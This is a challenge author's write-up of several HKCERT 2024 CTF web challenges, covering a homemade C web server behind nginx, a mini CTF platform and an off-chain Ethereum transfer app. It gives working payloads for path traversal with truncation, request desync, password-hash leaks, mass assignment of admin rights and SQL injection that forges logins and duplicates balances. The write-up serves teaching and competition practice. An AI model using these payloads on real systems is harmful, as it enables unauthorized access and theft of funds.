Surprisingly, I also wrote three series of web challenges this year: Custom Web Server, Mystiz’s Mini CTF and . They are all inspired from the real-life – either from security reviews or the bugs I came across while developing web apps.

Custom Web Server (1)

Challenge Summary

Someone said: ‘One advantage of having a homemade server is that it becomes much harder to hack.’ Do you agree? Give reasons.

Note: The files in src/public are unrelated for the challenge.

Attachment: custom-server-1_6d8967a25def900543b2f8f012b7e673.zip

This challenge implements a minimalistic web server written in C that serves static pages. The goal is to read the flag, which is located in /flag.txt.

😏 Déjà vu? If you think that’s familiar, that is definitely a coincidence.

Solution

The HTTP requests will be handled in the handle_client method. When GET /... is received, it will proceed and run read_file below:

FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);
    
    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    // snipped...
}

There are two vulnerabilities in the above function.

🐛 Vulnerability 1. Directory traversal to the parent directories

We can set the file name to be ../test.png to read the files outside public/. With this, we are able to arbitrary files that have the extension .png, .css or .js.

🐞 Vulnerability 2. Path truncation in snprintf

snprintf will truncate the resulting string without errors if it is longer than expected. Assume now that sizeof(real_path) == 20 and we set filename to be testing1.txt.jpg, the value of real_path after the line snprintf(real_path, sizeof(real_path), "public/%s", filename) would be public/testing1.txt, and the trailing .jpg was truncated.

The first vulnerability allows us to read files from the parent directories, and the second allows us to bypass the extension whitelist (.html, .css, and so on).

With a similar idea, we can set the filename to be

//[✂️ snipped]//../../flag.txt.js
<-- 1002 /'s -->

In this case, it will try to access public/../../flag.txt, effectively /flag.txt. We can use the below command (note the --path-as-is flag):

curl --path-as-is http://HOSTNAME///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../flag.txt.js
# hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}

Custom Web Server (2)

Challenge Summary

Someone said: ‘One advantage of having a homemade server is that it becomes much harder to hack.’ Do you agree? Give reasons.

What is the difference between this and the first part? I will also use nginx to proxy your requests this time!

Note: The files in src/public are still unrelated for the challenge.

Attachment: custom-server-2_ceb1b67883e9927a349ecc1cafa138a5.zip

The challenge is similar to the first part, except that the web server is hosted behind a nginx instance.

user www-data;

thread_pool default threads=1 max_queue=65536;

events {
    worker_connections 1024;
}

http {
    upstream backend {
        server web:8000;
        keepalive 32;
    }

    server {
        listen 80;
        server_name proxy;

        location / {
            proxy_pass http://backend;
            proxy_set_header Host $host;
        }
    }
}

Solution

No, the solution doesn’t work anymore

Now we are talking to the web server via nginx, which will relay our requests with some changes. The most important change is that nginx will normalize the request path. For instance, the payload we used in Custom Web Server (1) will be simplified to /flag.txt.js. The normalization imposes two problems:

  1. ../ is removed to mitigate the directory traversal attack. We cannot read files outside the public folder.
  2. Consecutive slashes, for instance //////, are normalized into a single slash. We cannot read flag.txt even if it is located in the public directory.

“Squeezing” two requests into one request

This challenge is vulnerable, however, because nginx and the custom server (mystiz-web) handle the request differently. Assuming that we are sending a normalized request (i.e., nginx will change nothing):

  • nginx is able to handle a request with arbitrary size according to the Content-Length header
  • mystiz-web can only read up to 1024 bytes per request

In this case, we can send a request so that nginx thinks that it is a single request, and mystiz-web thinks that there are two.

Below is an example of this to happen. nginx adds a new entry Connection: close to the header. Also, the last line is considered as the request body of the only request. It is then sent to mystiz-web. mystiz-web will split the requests into chunks of 1024 bytes, one to /index.html and one to /../../flag.txt.

Therefore, mystiz-web will be reading both public/index.html and /flag.txt. However, nginx will not be responding /flag.txt to us because they only see one request going on.

To make nginx respond to the second request, we have to convince that there are two requests. We can concatenate the existing request with a request to /index.html:

🤨 Why don’t we add the Connection: close ourselves? We want to maintain our connection with nginx. If the header is added, the connection will be closed when we send the second request. With that said, we would not get the second response.

Now nginx sees two requests, so it will try to gather two responses:

😡 I am not getting the flag sometimes! Although we are sending two requests to nginx in the same connection, nginx might be sending the two requests to different instances of mystiz-web. In this case, nginx would like to collect the first response from each of the instances, both being public/index.html.

Mystiz’s Mini CTF (1)

Challenge Summary

“A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd.”

I am working on yet another CTF platform. I haven’t implement all the features yet, but I am confident that it is at least secure.

Can you send me the flag of the challenge “Hack this site!”?

Attachment: minictf-1_bc36d27733c38dceeec332324267b77d.zip

The players are asked to find a flag for a challenge that has only one solver, and the solver has a weak password (composed of 6 hexadecimal characters).

Solution

From the migration file (web/migrations/versions /96fa27cc07b9_init.py), we can see that the user player has solved the challenge “Hack this site!”. Notably, their password is generated by os.urandom(3).hex(), where there are only $2^{24} \approx 1.68 \times 10^7$ options. Maybe we can try to exhaust the password on the login endpoint?

Turns out we cannot. The login endpoint has a rate limit being two requests per minute. It would be good if we could exhaust the (hashed) password and guess it offline.

Interestingly, in /api/__init__.py, there is a GroupAPI class that implements a “group” feature in the list resource endpoints. We can activate that by adding the group parameter. For instance, the API GET /challenges/?group=category is used to group the challenges by category:

{
  "challenges": {
    "web": [
        {"id": 1, "category": "web", "title": "...", "description": "...", ...}
    ],
    "crypto": [
      {"id": 2, "category": "crypto", "title": "...", "description": "...", ...}
    ]
    "reverse": [
      {"id": 3, "category": "reverse", "title": "...", "description": "...", ...}
    ],
    ...
  }
}

Although not used by the front-end, the User and Attempt models are also serving the APIs with GroupAPI. With that said, we are able to group users by their attributes. In particular, we can group users by their passwords. This is what GET /users/?group=password looks like:

{
  "users": {
    "1ae605f9.86cf107e81233595ce4d0cdbcece20e177e7cd22bcd27d07fb3ba10a6ad6a712": [
      {"id": 1, "is_admin": true, "score": 0, "username": "admin"}
    ],
    "77364c85.744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94": [
      {"id": 2, "is_admin": false, "score": 500, "username": "player"}
    ]
  }
}

Now we have the hashed password. We can check the source code for compute_hash in app/util.py on how the hash is computed.

def compute_hash(password, salt=None):
    if salt is None:
        salt = os.urandom(4).hex()
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

With that, we can write a script to exhaust passwords locally. After retrieving the user password, we can sign in as the user. Similarly, we can leak the flag via the Attempt model, and accessing /attempts/?group=flag would bring us the flag:

hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}

Mystiz’s Mini CTF (2)

Challenge Summary

“A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd.”

I am working on yet another CTF platform. I haven’t implement all the features yet, but I am confident that it is at least secure.

Can you send me the flag of the challenge “A placeholder challenge”?

Attachment: minictf-1_bc36d27733c38dceeec332324267b77d.zip

This is a sequel to Mystiz’s Mini CTF (1), where the players are asked to find the flag for a challenge that will be available one year later. The challenge is only accessible by admins until it is released.

Solution

The flag is directly in the description of the challenge. However, it will be released after a year, and a normal player will be unable to check that out until then. An admin could access them via the GET /api/admin/challenges/ endpoint, though.

Also, the password for admins is generated by os.urandom(33).hex(), it is impossible for someone to get the password from its digest.

Instead, in the POST /register/ endpoint, it takes the entirety of the user form and populates it to the User model. Although the users are only given the fields for username and password, they could create some additional fields like is_admin. Setting is_admin=1 will make the created user an admin. After that, we are able to retrieve the hidden challenge using the challenge management API:

hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}

Challenge Summary

The transaction fee in Ethereum is high. People researched in off-chain solutions like Raiden. Introducing ⚡, an open-source project that everyone can audit its source code!

Register an account and enjoy zero transaction fees (except the first and the last transfers)!

Attachment: zap_f9df08d202eed40a94431209ee684a6a.zip

⚡ is a web app implemented in Node.js that moves Ethereum transactions offline, simply maintaining the amounts with a database. There are three related endpoints:

  1. transfer transfers the specified ETH to the designated account,
  2. withdraw sends you the flag if they have 10 ETH in their ⚡ account. No money will be transferred to the mainnet, however.
  3. deposit adds the amount of the transaction from the mainnet to their ⚡ account.

Initially, there is 1 ETH in the service account for ⚡. The objective is to get 10 ETH in an account owned by the player.

Solution

🧩 What is the intended solution? Of course, send 10 ETH to the designated account. You can get the flag in no time.

The insecure getBufferFromHex

getBufferFromHex is used multiple times to handle the user data.

function getBufferFromHex(hexString, byteLength) {
    if (hexString.length !== 2 + 2*byteLength) return
    const regex = new RegExp(`0x[0-9a-f]{${2 * byteLength}}`)
    if (!regex.test(hexString)) return
    const buffer = Buffer.from(`${hexString}`.slice(2), 'hex')
    if (buffer.length !== byteLength) return

    return buffer
}

hexString usually comes from the user input. It seemed that the check is strict, but that there is a critical miss – hexString might not be a string. For instance, when byteLength == 20, users can send an array of length 42 and still pass the first check.

Surprisingly, Buffer.from(..., 'hex') would truncate strings silently if the source is not valid hexstrings. For instance,

Buffer.from('41414141', 'hex') === 'AAAA'

// the trailing 4 is dropped
Buffer.from('414141414', 'hex') === 'AAAA'

// the non-hexadecimal characters are truncated 
Buffer.from('41414141invalid string414141', 'hex') === 'AAAA'

The below hexString would pass all checks and return AAAA...A as a result. The returned buffer is used to go through more checks like signature validation:

["0x4141414141414141414141414141414141414141", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""]

A SQL injection

It is obvious that the SQL queries for ⚡ are built with format strings, not prepared statements. For example, this is how the queries looked in the POST /login endpoint:

`SELECT COUNT(*) as count FROM users WHERE account = '${account}'`
`INSERT INTO users (account, deposit_nonce, transaction_nonce, balance) VALUES ('${account}', '${depositNonce}', '${transactionNonce}', 0)`
`INSERT INTO transactions (from_account, to_account, amount, time) VALUES ('${process.env.SERVICE_WALLET_ACCOUNT}', '${account}', '0', strftime('%Y-%m-%dT%H:%M:%SZ','now'))`

Here account is an unsantized payload controlled by the player. As discussed above, it is insufficient to validate it with the getBufferFromHex function.

Path to the flag? To get 10 ETH, we need to steal some funds from the service account and duplicate the funds obtained. Additionally, there are three accounts involved in the solution. Note that only have the private key for the user accounts: service account (0x71f...f7), user account 1 (0xaaa...aa) and user account 2 (0xbbb...bb). The user accounts need not be 0xaaa...aa and 0xbbb...bb. They are chosen for illustration purposes.

Exploit 1: Stealing funds from the service account

To steal funds from the service account, we would want to achieve the below:

  1. Sign in as the service account. This is impossible, but we can mimic the behaviour.
  2. Call /transfer with the service account’s transaction_nonce.
Leaking service account’s transaction nonce

We can use the below request body and send that to the /login endpoint.

{
  "account": ["0xaaa...aaxx' OR account = '0x71f...f7' AND transaction_nonce LIKE '1337%' -- ", "", "", /* omitted */, ""],
  "signature": "0x111...11" // NOTE: we need the correct signature for this to work
}

Below is the first SQL query the endpoint executes, prettified:

SELECT COUNT(*) as count
FROM users
WHERE
  account = '0xaaa...aaxx' OR
  account = '0x71f...f7' AND transaction_nonce LIKE '1337%'
  -- ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

If the service account’s transaction nonce starts with 1337, the subsequent queries will be skipped and it will return HTTP 200. Otherwise, it will attempt to insert a new row to the user.

INSERT INTO users (account, deposit_nonce, transaction_nonce, balance)
VALUES (
  '0xaaa...aaxx' OR account = '0x71f...f7' AND transaction_nonce LIKE '...' -- ,,,...,, 'ed6...5d', 'fc1...de', 0)

Since the snippet above is an invalid SQL query, it will trigger an exception, causing the endpoint to return an HTTP 500 error. This creates an error-based oracle, allowing us to recover the transaction nonce.

Signing in as the service account

We can send the following payload to the /login endpoint “sign in” as the service account:

{
  "account": ["0xaaa...aaxx' OR account = '0x71f...f7' -- ", "", "", /* omitted */, ""],
  "signature": "0x111...11" // NOTE: we need the correct signature for this to work
}

During /login, the signature is validated against 0xaaa...aa (the first user account). The session will be set to the above account, which is an array of 42 entries, too.

The stored account would lead to another injection which makes the SQL retrieve the service account. In this way, we can manipulate the service account without knowing its private key. Knowing the transaction nonce for the service account, we can transfer the funds from the service account to ourselves.

Exploit 2: Duplicating funds

Now we only have 1 ETH, and we need 10 ETH for the flag. Therefore, we would need some ways to duplicate our funds. To double the current amount for user account 1, we can call the /transfer endpoint with the below payload:

{
  "to_account": ["0xbbb...bb' or 1 -- ", "", "", /* omitted */, ""],
  "amount": 1,
  "signature": "0x111...11" // NOTE: we need the correct signature for this to work
}

This would transfer 1 ETH to everyone because the below SQL query is made to add funds to the beneficiary account:

UPDATE users
SET balance = balance + 1000000000000000000 /* 1 ETH = 10^18 wei */
WHERE account = '0xbbb...bb' or 1
-- ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
💸 The money gone is gone. Since there are no database transactions going on, the queries would not revert even if the INSERT INTO transactions ... query is failing.

With that, we have 1 ETH in both the two user accounts. We can repeat the process until we have 10 ETH. Eventually, we have the flag:

hkcert24{h0p3_y0u_pa1d_10_e7h3r_f0r_th3_fl49}
🤣 Fun fact. The service wallet account received 1 USD worth of ETH and 2 USD worth of BNB. But where is my 10 ETH?
Moral of the challenge. Don’t use sanitized data for validation but use the unsanitized data.